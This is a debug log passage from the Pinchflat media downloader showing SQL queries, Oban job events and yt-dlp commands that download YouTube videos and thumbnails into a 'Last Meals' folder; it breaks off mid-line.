idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:44:24.623 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [47] 21:44:24.623 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [47] 21:44:24.624 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:44:24.624 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:24.624 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:24.624 [debug] Running yt-dlp command for action: get_downloadable_status 21:44:24.624 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:24.624 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:24.625 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:24.625 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=OKbJG8E64xc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ba/d0/bad04db24b5627e4efe051618ae53f700b24cfef169332e33fe591988683e96b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:44:27.213 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=OKbJG8E64xc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ba/d0/bad04db24b5627e4efe051618ae53f700b24cfef169332e33fe591988683e96b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:44:27.214 [debug] Running yt-dlp command for action: download 21:44:27.214 [debug] QUERY OK source="settings" db=0.1ms idle=1154.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:27.214 [debug] QUERY OK source="settings" db=0.0ms idle=1154.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:27.214 [debug] QUERY OK source="settings" db=0.0ms idle=1154.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:27.214 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=OKbJG8E64xc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/7d/fb7d2d32dcfd69c36af498447879ed281794bd9932f4387ead097edc8118cb21.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:44:28.756 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:54.566 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=JR1M5ArILl8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/82/b9/82b97cc7ec479878aa149c7a19597f11fd00c53eff72541b9924f7d65b693b53.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:44:54.575 [debug] Running yt-dlp command for action: download_thumbnail 21:44:54.576 [debug] QUERY OK source="settings" db=0.0ms idle=1516.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:54.576 [debug] QUERY OK source="settings" db=0.0ms idle=1516.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:54.576 [debug] QUERY OK source="settings" db=0.0ms idle=577.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:54.576 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=JR1M5ArILl8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/46/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/dc/34/dc345f015e5db0ead18bc9801632e7bfc404b1344a3fc63783e2b383ebc147ab.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:44:57.142 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=JR1M5ArILl8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/46/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/dc/34/dc345f015e5db0ead18bc9801632e7bfc404b1344a3fc63783e2b383ebc147ab.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:44:57.143 [debug] QUERY OK db=0.0ms idle=1083.6ms begin [] 21:44:57.143 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:44:54Z], "/downloads/Last Meals/2025-04-03 Kevin Bacon Eats His Last Meal/Kevin Bacon Eats His Last Meal [JR1M5ArILl8].mp4", ~U[2026-03-28 01:44:57Z], 46] 21:44:57.143 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/46/metadata.json.gz", "/config/metadata/media_items/46/thumbnail.jpg", 46, ~U[2026-03-28 01:44:57Z], ~U[2026-03-28 01:44:57Z]] 21:44:57.144 [debug] QUERY OK db=0.1ms commit [] 21:44:57.145 [debug] QUERY OK source="media_items" db=0.5ms idle=1084.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [294066201, ~U[2026-03-28 01:44:57Z], 46] 21:44:57.145 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:44:57.145 [info] {"args":{"id":46},"id":49,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":115103400,"event":"job:stop","queue_time":3298041345,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:44:57.145 [debug] QUERY OK source="tasks" db=0.3ms idle=141.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:44:57.145 [debug] QUERY OK source="tasks" db=0.3ms idle=1085.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:44:57.145 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [47] 21:44:57.146 [debug] QUERY OK source="media_items" db=0.0ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [47] 21:44:57.151 [info] {"args":{"id":48},"id":51,"meta":{},"system_time":1774662297151619804,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:44:57.152 [debug] QUERY OK source="media_items" db=0.3ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [48] 21:44:57.152 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:44:57.152 [debug] QUERY OK source="tasks" db=0.5ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:44:57.152 [debug] QUERY OK source="tasks" db=0.6ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:44:57.152 [debug] QUERY OK source="sources" db=0.2ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:44:57.152 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [47, 48] 21:44:57.152 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:44:57.152 [debug] QUERY OK source="media_items" db=0.3ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [47, 48] 21:44:57.153 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [48] 21:44:57.153 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [48] 21:44:57.153 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:44:57.153 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:57.153 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:57.153 [debug] Running yt-dlp command for action: get_downloadable_status 21:44:57.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:57.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:57.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:57.154 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lRevGBgdL0M --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/23/d9234c6e96e82c59bfb0d7a7469c4941a0456de6b9db2169dfd4c248e60770bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:44:58.757 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:59.503 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lRevGBgdL0M --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/23/d9234c6e96e82c59bfb0d7a7469c4941a0456de6b9db2169dfd4c248e60770bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:44:59.503 [debug] Running yt-dlp command for action: download 21:44:59.503 [debug] QUERY OK source="settings" db=0.1ms idle=745.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:59.504 [debug] QUERY OK source="settings" db=0.0ms idle=496.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:59.504 [debug] QUERY OK source="settings" db=0.0ms idle=444.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:59.504 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lRevGBgdL0M --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/86/62/8662b4f0327b2b12449b1eb1e10aca12cbaf7e255933290d81d827b8fe3bef4f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:45:00.621 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:28.759 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:58.761 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.621 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:28.763 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:52.071 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=OKbJG8E64xc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/7d/fb7d2d32dcfd69c36af498447879ed281794bd9932f4387ead097edc8118cb21.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:46:52.082 [debug] Running yt-dlp command for action: download_thumbnail 21:46:52.082 [debug] QUERY OK source="settings" db=0.0ms idle=865.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:52.083 [debug] QUERY OK source="settings" db=0.0ms idle=23.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:52.083 [debug] QUERY OK source="settings" db=0.0ms idle=23.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:46:52.083 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: 